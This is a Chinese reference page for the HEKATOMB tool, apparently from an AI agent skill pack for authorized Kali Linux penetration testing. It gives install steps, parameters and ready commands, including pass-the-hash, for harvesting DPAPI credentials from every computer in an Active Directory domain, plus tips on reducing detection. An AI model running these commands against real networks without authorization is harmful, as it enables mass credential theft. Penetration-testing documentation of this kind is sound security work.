x-glacier/kali-pentest / kali-pentest-zh
kali-pentest-zh
Flagged通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。
references/post-exploitation/tools/hekatomb.md
View on GitHub# HEKATOMB
- **Category**: Post-Exploitation / Credential Harvesting
- **Risk Level**: 🔴 Critical
---
## 描述
自动化提取整个 Active Directory 域中的 DPAPI 凭据。通过 SMB 连接到所有域成员计算机,检索 DPAPI 主密钥和受保护的机密数据(浏览器密码、Wi-Fi 密钥、RDP 凭据、证书私钥),并使用域 DPAPI 备份密钥进行离线解密。需要域管理员或同等权限。使用 Python 编写。
## 安装
```bash
sudo apt install hekatomb
# 或通过 pip 安装
pip install hekatomb
```
## 参数说明
| 参数 | 说明 |
|------|------|
| `target` | 位置参数:`[[domain/]username[:password]@]<DC address>` |
| `-hashes LMHASH:NTHASH` | NTLM 哈希,格式为 LMHASH:NTHASH |
| `-pvk <file>` | 域备份密钥文件(跳过自动获取) |
| `-dns <ip>` | 用于解析计算机主机名的服务器 IP 地址 |
| `-port <port>` | SMB 服务器端口 |
| `-smb2` | 强制使用 SMBv2 协议 |
| `-just-user <user>` | 仅测试指定用户名 |
| `-just-computer <computer>` | 仅测试指定计算机 |
| `-md5` | 输出 MD5 哈希而非明文密码 |
| `-csv` | 将结果导出为 CSV 文件 |
| `-debug` | 启用调试输出 |
## 常用命令
```bash
# 使用密码进行全域 DPAPI 凭据提取
hekatomb CORP.LOCAL/administrator:'P@ssw0rd'@192.168.1.1
# 使用 NTLM 哈希认证(哈希传递)
hekatomb -hashes :32ed87bdb5fdc5e9cba88547376818d4 CORP.LOCAL/administrator@192.168.1.1
# 指定 DNS 服务器
hekatomb -dns 192.168.1.2 CORP.LOCAL/administrator:'P@ssw0rd'@192.168.1.1
# 强制使用 SMB2 协议
hekatomb -smb2 CORP.LOCAL/administrator:'P@ssw0rd'@192.168.1.1
# 使用之前导出的域备份密钥
hekatomb -pvk domain_backup.pvk CORP.LOCAL/administrator:'P@ssw0rd'@192.168.1.1
# 针对特定用户
hekatomb -just-user jdoe CORP.LOCAL/administrator:'P@ssw0rd'@192.168.1.1
# 针对特定计算机
hekatomb -just-computer WS01 CORP.LOCAL/administrator:'P@ssw0rd'@192.168.1.1
# CSV 输出用于报告
hekatomb -csv CORP.LOCAL/administrator:'P@ssw0rd'@192.168.1.1
# 启用调试输出进行故障排查
hekatomb -debug CORP.LOCAL/administrator:'P@ssw0rd'@192.168.1.1
```
## 注意事项
1. 需要域管理员或同等权限——该工具从域控制器获取域 DPAPI 备份密钥,只有特权账户才能访问。
2. hekatomb 自动化了 dploot 手动操作的流程:遍历所有域计算机、收集 DPAPI 主密钥、获取域备份密钥,并在单次运行中解密所有 DPAPI secrets。
3. 提取的凭据通常包括云控制台、VPN 门户和内部 Web 应用的浏览器保存密码——这些是进一步访问的高价值目标。
4. 该工具会在整个域中生成大量 SMB 流量——预期会被网络监控和 EDR 解决方案检测到。
5. 使用 `-just-computer` 限制初始测试范围,降低被检测风险并避免对整个域造成干扰。
---
## 官方参考
- [HEKATOMB (GitHub)](https://github.com/ProcessusT/HEKATOMB)
- [Kali hekatomb](https://www.kali.org/tools/hekatomb/)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |